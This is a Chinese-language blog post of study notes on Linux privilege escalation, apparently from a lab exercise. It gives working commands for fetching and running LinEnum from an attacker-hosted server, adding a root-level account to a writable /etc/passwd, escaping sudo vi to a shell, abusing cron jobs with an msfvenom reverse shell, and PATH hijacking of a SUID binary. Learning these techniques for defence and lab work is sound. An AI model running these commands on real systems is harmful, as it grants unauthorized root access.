常见 Linux 提权

Common Linux Privesc 记录

常见 Linux 提权的

提权方式:水平提权,垂直提权。

水平提权:这是您通过接管与您处于相同权限级别的不同用户来扩大您对受感染系统的影响的地方。

例如,一个普通用户劫持另一个普通用户(而不是提升为超级用户)。这允许您继承该用户拥有的任何文件和访问权限。例如,这可以用来获得另一个普通特权用户的访问权限,该用户恰好有一个 SUID 文件附加到他们的主目录(稍后会详细介绍),然后可以用来获得超级用户访问权限。

垂直提权:这是您尝试使用您已经泄露的现有帐户获得更高权限或访问权限的地方。对于本地权限升级攻击,这可能意味着劫持具有管理员权限或根权限的帐户。

枚举

使用工具LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

在本地使用python3 -m http.server

然后目标机使用wget htpp://10.10.216.8:8000/LinEnum.sh 下载到本地

chmod +x LinEnum.sh

./LinEnum.sh 执行可查看到/etc/passwd 允许用户写入
cat /etc/passwd 查看user[x]
cat /etc/shells 查看系统可用shell

滥用 SUID/GUID 文件

Linux提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以在文件所有者/组的权限下运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些特权的 shell!

什么是 SUID 二进制文件?

在Linux中一切皆文件,包括目录和设备,它们具有允许或限制三种操作的权限,即读/写/执行。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三种权限的 Linux 用户。

r=读,w=写,x=执行

用户    组      其他
rwx     rwx     rwx
421     421     421

可用于为每个用户设置权限的最大位数为 7,它是读(4)写(2)和执行(1)操作的组合。
例如,如果您使用“chmod”设置权限为755,那么它将是:rwxr-xr-x


但是,当向每个用户授予特殊权限时,它就变成了 SUID 或 SGID。当额外的位“4”设置为用户
(所有者)时,它变为SUID(设置用户 ID),当位“2”设置为组时,它变为SGID(设置组 ID)

因此,查找SUID时要查找的权限为:

标识符:

rws-rwx-rwx

GUID:

rwx-rws-rwx

使用命令:“find / -perm -u=s -type f 2>/dev/null”在文件系统中搜索 SUID/GUID 文件。
参考find提权:https://www.cnblogs.com/-Lucky-/p/17160491.html

利用可写入的/etc/passwd

了解 /etc/passwd 格式

user7❌1006:0:user7,,,:/home/user7:/bin/bash

用户:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:command/shell

用户名:用户登录时使用。长度应在 1 到 32 个字符之间。
密码:一个 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值,在这种情况下,密码哈希值存储为“ X”。
用户 ID ( UID ):必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 保留,UID 1-99 为其他预定义帐户保留。进一步的 UID 100-999 由系统保留用于管理和系统帐户/组。
组 ID (GID):主要组 ID(存储在 /etc/group 文件中)
用户 ID 信息:评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由 finger 命令使用。
主目录:用户登录时所在目录的绝对路径。如果该目录不存在,则用户目录变为 /
Command/shell:命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个外壳。请注意,它不一定是shell。

这种提权方式为vertical(垂直)

先使用openssl passwd -1 -salt [salt] [passwd] 来生成一个兼容的哈希密码

openssl passwd -1 -salt new 123
得
$1$new$p7ptkEKU1HnaHpRtzNizS1

此时写入/etc/passwd得格式为
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
echo "" >> /etc/passwd

su new 即可

转义vi编辑器

参考语法:https://zhuanlan.zhihu.com/p/155973403

利用 :!command 可直接执行系统命令

sudo -l

使用“sudo -l”来列出您可以作为该帐户的超级用户使用的命令。
发现能够以 root 用户身份运行某些命令而无需 root 密码。这可以让您提升权限。

sudo -l
(root) NOPASSWD: /usr/bin/vi

NOPASSWD

sudo vi
输入
:!sh即可root

利用Crontab

什么是 Cron?

Cron 守护进程是一个长期运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,
既可以作为一次性事件,也可以作为重复性任务。您可以创建一个 crontab 文件,其中包含供
Cron 守护程序执行的命令和说明。

使用命令“cat /etc/crontab”来查看安排了哪些cron 作业。
只要有机会,就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。

参考:https://www.runoob.com/linux/linux-comm-crontab.html

cat /etc/crontab 查看

使用msfvenom生成payload
参考反弹shell https://www.cnblogs.com/-Lucky-/p/17160172.html

写入
echo "" > 文件
即可

利用PATH变量

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定保存可执行程序的目录。
当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件以响应用户执行的命令。

假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 来做一个基本的过程,
比如用“ps”列出进程。与我们之前的 SUID 示例不同,在这种情况下我们无法通过提供命令注入参数来利用它,那么我们可以做些什么来尝试利用它呢?

我们可以将 PATH 变量重新写入我们选择的位置!因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,它运行的是我们编写的文件!

与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法我们可以以 root 身份运行任何我们喜欢的命令!

例如我们有一个suid二进制文件script,运行结果与ls相同

假设此时在/tmp目录下,
此时
echo "/bin/bash" > ls 模仿可执行变量
chmod +x ls 执行权限
export PATH=/tmp:$PATH 修改环境变量为默认/tmp路径下

此时执行script就会去/tmp/下找ls。执行即 root

恢复正常
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games:$PATH
posted @ 2023-03-08 20:03  gvpn  阅读(585)  评论(0编辑  收藏  举报